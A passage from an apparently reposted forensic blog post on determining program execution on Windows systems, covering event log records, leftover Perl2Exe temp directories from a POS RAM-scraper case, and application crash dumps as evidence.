Log, and view the records that illustrate when I have installed various programs knowingly (FTK Imager) and unknowningly (Google+ Chat). There are even a number of application updates to things like my ActiveState Perl and Python installations. Tools: LogParser, evtxparse.pl Other Indirect Artifacts Many times, we may be able to determine program execution through the use of indirect artifacts, particularly those that persist well after the application has finished executing, or even been deleted. Many of the artifacts that we've discussed are, in fact, indirect artifacts, but there may still be others available, depending upon the program that was executed. A number of years ago, I was...and I don't like to admit this...certified to perform PCI forensic audits. On one case, I ran into my first instance of a RAM scraper...this was a bit of malware that was installed on a point-of-sale (POS) back office server (running Windows) as a Windows service. After the system was booted, this instance of the malware would read the contents of a register, do some math, and use that value as a seed to wait a random amount of time before waking up and dumping the virtual memory from one of eight named (the names were listed in the executable file) processes. The next step was to parse the memory dump for track data, and this was accomplished via the use of Perl script that was "compiled" via Perl2Exe. I'm somewhat familiar with such executables, and one of the artifacts we found to validate our findings with respect to the actual execution of the malicious code was temporary directories created by "compiled" script. When executables "compiled" with Perl2Exe are run, any of the Perl modules (including the runtime) packed into the executable are extracted as DLLs into a temporary directory, at which time they are "available" to the running code. As the code was launched by a Windows service, the "temp" directories were found in the C:\Windows\Temp folder. The interesting thing that we found was that the temp directories used to hold the modules/DLLs are not deleted after the code completes, and they persist even if the program itself is removed from the system. In short, we had a pretty good timeline for each time the parsing code was launched. On my own Windows 7 system, because I run a number of Perl scripts that were "compiled" with Perl2Exe within the context of my user account, the temp directories are found in the path, C:\Users\harlan\AppData\Local\Temp...the subdirectories themselves are named "p2xtmp-", and are followed by an integer, and themselves contain subdirectories that represent the Perl runtime namespace. The time stamps (creation dates) for these subdirectories provide indications of when I executed scripts that had been compiled via Perl2Exe. Memory Dumps During dead box analysis, memory dumps can be an excellent source of information. When an application crashes, a memory dump is created, and a log file containing information including a process list also created. When another application crash occurs, the memory dump is overwritten, but the log file is appended to, meaning that you can have a number of crash events available for analysis. I have found this historical information to be very useful during examinations because, while the information is somewhat limited, it can illustrate whether or not a program was running at some point in the past. We're not going to discuss hibernation files here, as once you access a hibernation file and begin analysis, there really is very little difference between analyzing the hibernation file and analyzing a memory dump for a live system. Many of the techniques that you'd use, and the artifacts that you would look for, are pretty much the same. Tools: text viewer Malware Detection Another use of this artifact category is that it can be extremely valuable in detecting the presence of malware on a system. However, malware detection is a topic that is best addressed in another post, as there is simply too much information to limit the topic to just a portion of a blog post. Resources This idea of determining program execution has been discussed before: Timeline Analysis, and Program Execution There Are Four Lights: Program Execution Posted by Keydet89 Sursa: Windows Incident Response: HowTo: Determine Program Execution
×
×
  • Create New...